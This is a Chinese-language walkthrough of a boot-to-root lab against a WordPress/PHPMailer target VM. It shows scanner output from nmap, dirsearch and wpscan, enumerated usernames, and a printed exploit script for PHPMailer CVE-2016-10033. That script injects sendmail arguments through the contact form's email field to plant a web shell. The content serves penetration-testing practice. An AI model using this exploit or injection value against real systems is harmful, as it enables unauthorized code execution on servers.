B2R靶机渗透

视频参考：ajest ：https://www.zhihu.com/zvideo/1547357583714775040?utm_id=0

原文参考：ajest ：https://www.zhihu.com/column/c_1403138803561816064

原文参考：ajest https://zhuanlan.zhihu.com/p/270343652

文章目录

- B2R靶机渗透
- - 1 启动靶机，查看后网卡为mac为00:0C:29:C6:C5:8F
  - - 2 显示信息：
    - 3 快速扫描主机全部信息
  - 4 内核信息没有扫描到，使用nmap继续扫描
  - 5 dirb扫描具体的目录，没有价值
  - 6 使用xray扫描，有个敏感目录
  - 7【dirsearch 】扫描敏感目录
  - - 8 扫描到一个敏感目录，版本：PHPMailer 5.2.16
  - 9 wpscan扫描，得到用户信息
  - - 9.1 得到两个用户
  - 10 漏洞情报
  - - 10.1 使用searchsploit 查找漏洞版本
  - 11 渗透过程
  - - 根据漏洞详情根据编号，尝试后放弃，文章乱的一批
    - 12 使用`msfconsole`进行漏洞利用
  - 13 使用 python3 ./40974.py
  - - 执行成功后，返回shell脚本路径

1 启动靶机，查看后网卡为mac为00:0C:29:C6:C5:8F

00:0C:29:C6:C5:8F

-sS: 使用 SYN 扫描（也称为半开放扫描），发送 SYN 包以探测目标主机上的开放端口。

┌──(kalikali)-[~/Desktop/frp_0.33.0_linux_amd64]└─$ sudo nmap -sS 192.168.225.0/24

2 显示信息：

Nmap scan report for bogon (192.168.225.213)Host is up (0.00059s latency).Not shown: 997 closed tcp ports (reset)PORTSTATE SERVICE22/tcpopenssh80/tcpopenhttp111/tcp openrpcbindMAC Address: 00:0C:29:C6:C5:8F (VMware)

3 快速扫描主机全部信息

nmap -T4 -A -v192.168.225.213-T4: 使用 T4 扫描速度，代表比默认扫描更快的速度级别。-A: 执行 OS识别，版本检测、脚本扫描和traceroute。-v: 输出详细信息，使扫描输出更加详尽。

扫描结果：

22/tcpopenssh OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)| ssh-hostkey: | 1024 2681c1f35e01ef93493d911eae8b3cfc (DSA)| 2048 315801194da280a6b90d40981c97aa53 (RSA)| 256 1f773119deb0e16dca77077684d3a9a0 (ECDSA)|_256 0e8571a8a2c308699c91c03f8418dfae (ED25519)80/tcpopenhttpApache httpd 2.4.10 ((Debian))|_http-title: Raven Security| http-methods: |_Supported Methods: GET HEAD POST OPTIONS|_http-server-header: Apache/2.4.10 (Debian)111/tcp openrpcbind 2-4 (RPC #100000)| rpcinfo: | program versionport/protoservice| 1000002,3,4111/tcp rpcbind| 1000002,3,4111/udp rpcbind| 1000003,4111/tcp6rpcbind| 1000003,4111/udp6rpcbind| 100024135627/udp6status| 100024151031/tcp status| 100024159614/tcp6status|_100024160260/udp statusService Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

4 内核信息没有扫描到，使用nmap继续扫描

 sudo nmap -Pn -A -p- -sT -sC -T4 10.4.7.151 -oN nmap.A

┌──(kalikali)-[~/Desktop/frp_0.33.0_linux_amd64]└─$ sudo nmap -Pn -A -p- -sT -sC -T4 192.168.225.213 -oN nmap.A [sudo] password for kali: Starting Nmap 7.93 ( https://nmap.org ) at 2023-10-13 17:29 CSTNmap scan report for bogon (192.168.225.213)Host is up (0.0020s latency).Not shown: 65531 closed tcp ports (conn-refused)PORTSTATE SERVICE VERSION22/tcpopenssh OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)| ssh-hostkey: | 1024 2681c1f35e01ef93493d911eae8b3cfc (DSA)| 2048 315801194da280a6b90d40981c97aa53 (RSA)| 256 1f773119deb0e16dca77077684d3a9a0 (ECDSA)|_256 0e8571a8a2c308699c91c03f8418dfae (ED25519)80/tcpopenhttpApache httpd 2.4.10 ((Debian))|_http-title: Raven Security|_http-server-header: Apache/2.4.10 (Debian)111/tcp openrpcbind 2-4 (RPC #100000)| rpcinfo: | program versionport/protoservice| 1000002,3,4111/tcp rpcbind| 1000002,3,4111/udp rpcbind| 1000003,4111/tcp6rpcbind| 1000003,4111/udp6rpcbind| 100024135627/udp6status| 100024151031/tcp status| 100024159614/tcp6status|_100024160260/udp status51031/tcp openstatus1 (RPC #100024)MAC Address: 00:0C:29:C6:C5:8F (VMware)Device type: general purposeRunning: Linux 3.X|4.XOS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4OS details: Linux 3.2 - 4.9Network Distance: 1 hopService Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

5 dirb扫描具体的目录，没有价值

┌──(rootkali)-[~]└─# dirb http://192.168.225.213:111

-----------------DIRB v2.22By The Dark Raver-----------------START_TIME: Fri Oct 13 17:33:53 2023URL_BASE: http://192.168.225.213:111/WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt-----------------GENERATED WORDS: 4612---- Scanning URL: http://192.168.225.213:111/ ---- (!) FATAL: Too many errors connecting to host(Possible cause: RECV ERROR) -----------------END_TIME: Fri Oct 13 17:33:53 2023

6 使用xray扫描，有个敏感目录

http://192.168.225.213/wordpress/wp-admin/install.php

7【dirsearch 】扫描敏感目录

dirsearch -u http://192.168.225.213/ -i 200,300-399 -e php

┌──(rootkali)-[~]└─# dirsearch -u http://192.168.225.213/ -i 200,300-399 -e php_|. _ ____ _|_v0.4.2 (_||| _) (/_(_|| (_| ) Extensions: php | HTTP method: GET | Threads: 30 | Wordlist size: 8940Output File: /root/.dirsearch/reports/192.168.225.213/-_23-10-13_19-18-49.txtError Log: /root/.dirsearch/logs/errors-23-10-13_19-18-49.logTarget: http://192.168.225.213/[19:18:49] Starting: [19:18:51] 200 - 18KB - /.DS_Store [19:19:23] 200 -9KB - /contact.php[19:19:23] 301 -316B- /css->http://192.168.225.213/css/ [19:19:30] 301 -318B- /fonts->http://192.168.225.213/fonts/ [19:19:33] 301 -316B- /img->http://192.168.225.213/img/ [19:19:34] 200 - 16KB - /index.html [19:19:36] 301 -315B- /js->http://192.168.225.213/js/ [19:19:36] 200 -4KB - /js/[19:19:41] 200 -626B- /manual/index.html[19:19:41] 301 -319B- /manual->http://192.168.225.213/manual/ [19:20:08] 200 -5KB - /vendor/[19:20:10] 200 -2KB - /wordpress/wp-login.php [19:20:10] 200 - 51KB - /wordpress/

dirsearch -u http://192.168.225.213/wordpress/ -i 200,300-399 -e php

┌──(rootkali)-[~]└─# dirsearch -u http://192.168.225.213/wordpress/ -i 200,300-399 -e php _|. _ ____ _|_v0.4.2(_||| _) (/_(_|| (_| ) Extensions: php | HTTP method: GET | Threads: 30 | Wordlist size: 8940Output File: /root/.dirsearch/reports/192.168.225.213/-wordpress-_23-10-13_17-45-04.txtError Log: /root/.dirsearch/logs/errors-23-10-13_17-45-04.logTarget: http://192.168.225.213/wordpress/[17:45:04] Starting: [17:45:55] 301 -0B- /wordpress/index.php->http://192.168.225.213/wordpress/[17:45:59] 200 - 19KB - /wordpress/license.txt[17:46:16] 200 -7KB - /wordpress/readme.html[17:46:35] 301 -331B- /wordpress/wp-admin->http://192.168.225.213/wordpress/wp-admin/[17:46:35] 301 -333B- /wordpress/wp-content->http://192.168.225.213/wordpress/wp-content/[17:46:35] 200 -0B- /wordpress/wp-content/[17:46:35] 200 -0B- /wordpress/wp-config.php[17:46:36] 200 - 69B- /wordpress/wp-content/plugins/akismet/akismet.php [17:46:36] 200 -1KB - /wordpress/wp-admin/install.php [17:46:36] 200 -999B- /wordpress/wp-content/uploads/[17:46:36] 200 -809B- /wordpress/wp-content/upgrade/[17:46:36] 200 -1B- /wordpress/wp-admin/admin-ajax.php[17:46:36] 302 -0B- /wordpress/wp-admin/->http://raven.local/wordpress/wp-login.php" />8 扫描到一个敏感目录，版本：PHPMailer 5.2.16 
 9 wpscan扫描，得到用户信息
 wpscan --no-update --url http://192.168.225.213/wordpress -e u,vp,vt --plugins-detection mixed
┌──(rootkali)-[~]└─# wpscan --no-update --url http://192.168.225.213/wordpress -e u,vp,vt --plugins-detection mixed_______________________________________________________________ _________ _____ \ \/ /__ \ / ____|\ \/\/ /| |__) | (___ _____ _ _ __ ® \ \/\/ / |___/ \___ \ / __|/ _` | '_ \\/\/| | ____) | (__| (_| | | | | \/\/ |_||_____/ \___|\__,_|_| |_| WordPress Security Scanner by the WPScan Team Version 3.8.22 Sponsored by Automattic - https://automattic.com/ @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart_______________________________________________________________[+] URL: http://192.168.225.213/wordpress/ [192.168.225.213][+] Started: Fri Oct 13 19:38:43 2023Interesting Finding(s):[+] Headers | Interesting Entry: Server: Apache/2.4.10 (Debian) | Found By: Headers (Passive Detection) | Confidence: 100%[+] XML-RPC seems to be enabled: http://192.168.225.213/wordpress/xmlrpc.php | Found By: Direct Access (Aggressive Detection) | Confidence: 100% | References: |- http://codex.wordpress.org/XML-RPC_Pingback_API |- https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/ |- https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/ |- https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/ |- https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/[+] WordPress readme found: http://192.168.225.213/wordpress/readme.html | Found By: Direct Access (Aggressive Detection) | Confidence: 100%[+] Upload directory has listing enabled: http://192.168.225.213/wordpress/wp-content/uploads/ | Found By: Direct Access (Aggressive Detection) | Confidence: 100%[+] The external WP-Cron seems to be enabled: http://192.168.225.213/wordpress/wp-cron.php | Found By: Direct Access (Aggressive Detection) | Confidence: 60% | References: |- https://www.iplocation.net/defend-wordpress-from-ddos |- https://github.com/wpscanteam/wpscan/issues/1299[+] WordPress version 4.8.23 identified (Unknown, released on Unknown). | Found By: Emoji Settings (Passive Detection) |- http://192.168.225.213/wordpress/, Match: '-release.min.js" />9.1 得到两个用户 stevenmichael
10 漏洞情报
公开漏洞情报渠道：
searchsploit
vulhub
漏洞情报：https://vip.riskivy.com/intellList
10.1 使用searchsploit 查找漏洞版本
PHPMailer是一个用于发送电子邮件的PHP类库，其广泛应用于PHP程序中。
┌──(rootkali)-[~]└─# searchsploit phpmailer
查询后，目标系统PHPMailer 5.2.18 存在RCE 漏洞，编号为CVE-2016-10033。
11 渗透过程
根据漏洞详情根据编号，尝试后放弃，文章乱的一批
漏洞情报：https://vip.riskivy.com/intellList" />
12 使用msfconsole进行漏洞利用
┌──(kalikali)-[/root]└─$ sudo msfconsole [*] Starting persistent handler(s)...msf6 > search phpmailermsf6 > searchploit phpmailermsf6 > searchsploit -m 40974

 
执行后显示具体的脚本路径，修改exploit脚本,
 searchsploit m 40974  会将py文件拷贝到/root目录下，执行完有提示
 cd /usr/share/exploitdb/exploits/php/webapps/40974.py
13 使用 python3 ./40974.py
from requests_toolbelt import MultipartEncoderimport requestsimport osimport base64from lxml import html as lhos.system('clear')print("\n")print(" █████╗ ███╗ ██╗ █████╗ ██████╗██████╗ ██████╗ ██████╗ ███████╗██████╗ ")print("██╔══██╗████╗██║██╔══██╗██╔══██╗██╔════╝██╔═══██╗██╔══██╗██╔════╝██╔══██╗")print("███████║██╔██╗ ██║███████║██████╔╝██║ ██║ ██║██║██║█████╗██████╔╝")print("██╔══██║██║╚██╗██║██╔══██║██╔══██╗██║ ██║ ██║██║██║██╔══╝██╔══██╗")print("██║██║██║ ╚████║██║██║██║██║╚██████╗╚██████╔╝██████╔╝███████╗██║██║")print("╚═╝╚═╝╚═╝╚═══╝╚═╝╚═╝╚═╝╚═╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝╚═╝")print("PHPMailer Exploit CVE 2016-10033 - anarcoder at protonmail.com")print(" Version 1.0 - github.com/anarcoder - greetings opsxcq & David Golunski\n")#target = 'http://192.168.225.213'#backdoor = '/backdoor.php'target ='http://192.168.225.213'vuln ="/contact.php"backdoor = '/shell.php'#payload = ''payload = ''fields={'action': 'submit','name': payload,#'email': '"anarcoder\\\" -OQueueDirectory=/tmp -X/www/backdoor.php server\" @protonmail.com','email': '"anarcoder\\\" -OQueueDirectory=/tmp -X/www/html/shell.php server\" @protonmail.com','message': 'Pwned'}m = MultipartEncoder(fields=fields, boundary='----WebKitFormBoundaryzXJpHSq4mNy35tHe')headers={'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0', 'Content-Type': m.content_type}proxies = {'http': 'localhost:8081', 'https':'localhost:8081'}print('[+] SeNdiNG eVIl SHeLL To TaRGeT....')r = requests.post(target+vuln, data=m.to_string(),headers=headers)print('[+] SPaWNiNG eVIL sHeLL..... bOOOOM :D')r = requests.get(target+backdoor, headers=headers)if r.status_code == 200:print('[+]ExPLoITeD ' + target)
执行成功后，返回shell脚本路径

B2R靶机渗透

B2R靶机渗透

文章目录

1 启动靶机，查看后网卡为mac为00:0C:29:C6:C5:8F

2 显示信息：

3 快速扫描主机全部信息

4 内核信息没有扫描到，使用nmap继续扫描

5 dirb扫描具体的目录，没有价值

6 使用xray扫描，有个敏感目录

7【dirsearch 】扫描敏感目录

9 wpscan扫描，得到用户信息

10 漏洞情报

10.1 使用searchsploit 查找漏洞版本

11 渗透过程

根据漏洞详情根据编号，尝试后放弃，文章乱的一批

`12 使用msfconsole进行漏洞利用`

`13 使用 python3 ./40974.py`

`执行成功后，返回shell脚本路径`

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B2R靶机渗透

B2R靶机渗透

文章目录

1 启动靶机，查看后网卡为mac为00:0C:29:C6:C5:8F

2 显示信息：

3 快速扫描主机全部信息

4 内核信息没有扫描到，使用nmap继续扫描

5 dirb扫描具体的目录，没有价值

6 使用xray扫描，有个敏感目录

7【dirsearch 】扫描敏感目录

9 wpscan扫描，得到用户信息

10 漏洞情报

10.1 使用searchsploit 查找漏洞版本

11 渗透过程

根据漏洞详情根据编号，尝试后放弃，文章乱的一批

12 使用msfconsole进行漏洞利用

13 使用 python3 ./40974.py

执行成功后，返回shell脚本路径

相关文章

最新关注

热文推荐

`12 使用msfconsole进行漏洞利用`

`13 使用 python3 ./40974.py`

`执行成功后，返回shell脚本路径`

`相关文章`

`最新关注`

`热文推荐`